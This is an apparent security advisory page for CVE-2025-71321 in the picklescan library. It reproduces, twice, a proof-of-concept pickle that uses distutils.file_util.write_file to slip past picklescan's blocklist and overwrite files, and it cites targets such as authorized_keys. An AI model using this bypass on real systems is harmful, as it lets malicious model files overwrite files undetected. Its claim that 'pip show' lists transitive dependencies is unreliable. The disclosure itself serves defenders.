CVE-2025-71321: Picklescan Picklescan Vulnerable To Arbitrary File Vulnerability

HIGH
Advisory Identifier: GHSA-m273-6v24-x4m4
CWE-552 CWE-502
Published
Advisory Summary

CVE-2025-71321 is a HIGH picklescan vulnerable to arbitrary file vulnerability (CWE-552: Files or Directories Accessible to External Parties) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan vulnerable to arbitrary file writing. Remediation is available by upgrading affected packages to version 0.0.33.

CVE-2025-71321 at a Glance

CVE Identifier CVE-2025-71321
GHSA Identifier GHSA-m273-6v24-x4m4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-552: Files or Directories Accessible to External Parties
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-71321

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.33
pip install picklescan>=0.0.33
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-71321, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.33), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-552: Files or Directories Accessible to External Parties, where the product makes files or directories accessible to unauthorized actors, even though they should not be. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist

CVE-2025-71321 Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.33
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 0.0.33
0.0.33

References

Frequently Asked Questions

What is CVE-2025-71321?
CVE-2025-71321 is a security vulnerability in Picklescan involving Picklescan vulnerable to Arbitrary File Writing under CWE-552: Files or Directories Accessible to External Parties.
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.33 across affected packages: picklescan.
What version fixes CVE-2025-71321?
Upgrading to 0.0.33 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.33. Upgrade your dependency to 0.0.33 or later.
What CWE is associated with CVE-2025-71321?
CVE-2025-71321 is classified under CWE-552: Files or Directories Accessible to External Parties (The product makes files or directories accessible to unauthorized actors, even though they should not be.).
How can I check PyPI dependencies for CVE-2025-71321?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m273-6v24-x4m4",
  "modified" : "2026-06-18T14:44:27Z",
  "published" : "2025-12-29T15:22:30Z",
  "aliases" : [ "CVE-2025-71321" ],
  "summary" : "Picklescan vulnerable to Arbitrary File Writing",
  "details" : "### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n    def __reduce__(self):\n        \n        target_file = \"pwned_config.env\"\n        content = [\"print('I have overwritten your config')\"]\n        \n        return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n<img width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" />\n\nTo fix this just add disutil to the blacklist",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.33"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71321"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/53"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502", "CWE-552" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-29T15:22:30Z",
    "nvd_published_at" : null
  }
}